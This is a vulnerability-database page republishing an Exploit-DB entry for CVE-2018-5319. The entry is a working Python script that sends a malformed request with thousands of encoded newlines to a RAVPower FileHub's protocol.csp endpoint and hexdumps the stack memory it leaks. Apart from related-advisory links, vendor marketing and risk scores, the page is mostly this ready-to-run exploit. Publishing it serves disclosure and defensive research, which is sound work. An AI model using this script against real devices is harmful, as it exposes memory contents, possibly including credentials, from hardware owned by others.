Lucene search
K

RAVPower 2.000.056 - Memory Disclosure

🗓️ 23 Jan 2018 00:00:00Reported by Daniele LinguaglossaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 28 Views

RAVPower 2.000.056 - Memory Disclosure, remote stack disclosure exploit for RAVPower version 2.000.056 on OS

Related
Code
ReporterTitlePublishedViews
Family
0day.today
RAVPower 2.000.056 - Memory Disclosure Exploit
23 Jan 201800:00
zdt
CNVD
RAVPower FileHub Information Disclosure Vulnerability
25 Jan 201800:00
cnvd
CVE
CVE-2018-5319
24 Jan 201815:00
cve
Cvelist
CVE-2018-5319
24 Jan 201815:00
cvelist
exploitpack
RAVPower 2.000.056 - Memory Disclosure
23 Jan 201800:00
exploitpack
NVD
CVE-2018-5319
24 Jan 201815:29
nvd
OSV
CVE-2018-5319
24 Jan 201815:29
osv
Packet Storm
RAVPower 2.000.056 Memory Disclosure
24 Jan 201800:00
packetstorm
Prion
Cross site request forgery (csrf)
24 Jan 201815:29
prion
"""

# Exploit Title: RAVPower - remote stack disclosure
# Date: 22/01/2018
# Exploit Author: Daniele Linguaglossa
# Vendor Homepage: https://www.ravpower.com/
# Software Link: https://www.ravpower.com/
# Version: 2.000.056
# Tested on: OSX
# CVE : CVE-2018-5319

"""

import socket
import sys
import re

__author__ =  "Daniele Linguaglossa"

def redall(s):
    tmp = s.recv(1)
    while not str(tmp).endswith("<errno>"):
        tmp+=s.recv(1)
        print tmp
    tmp = str(tmp).split("\r\n\r\n",1)[1]
    return re.sub("[\x0a]+","", tmp,100)

def hexdump(src, length=16):
    FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])
    lines = []
    for c in xrange(0, len(src), length):
        chars = src[c:c+length]
        hex = ' '.join(["%02x" % ord(x) for x in chars])
        printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars])
        lines.append("%04x  %-*s  %s\n" % (c, length*3, hex, printable))
    return ''.join(lines)

if __name__ == "__main__":
    if len(sys.argv) == 2:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((sys.argv[1],80))
        packet = "GET /protocol.csp?fname=a&opt=%s&function=get HTTP/1.1\r\nConnection: close\r\nHost: {0}\r\n\r\n".format(sys.argv[1])
        packet = packet % ("%0a"*12241)
        s.send(packet)
        result = redall(s)
        print "Dumping memory...\n\n"
        print hexdump(result)
    else:
        print "Usage: {0} <ip>".format(sys.argv[0])

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jan 2018 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 25
CVSS 37.5
EPSS0.4578
28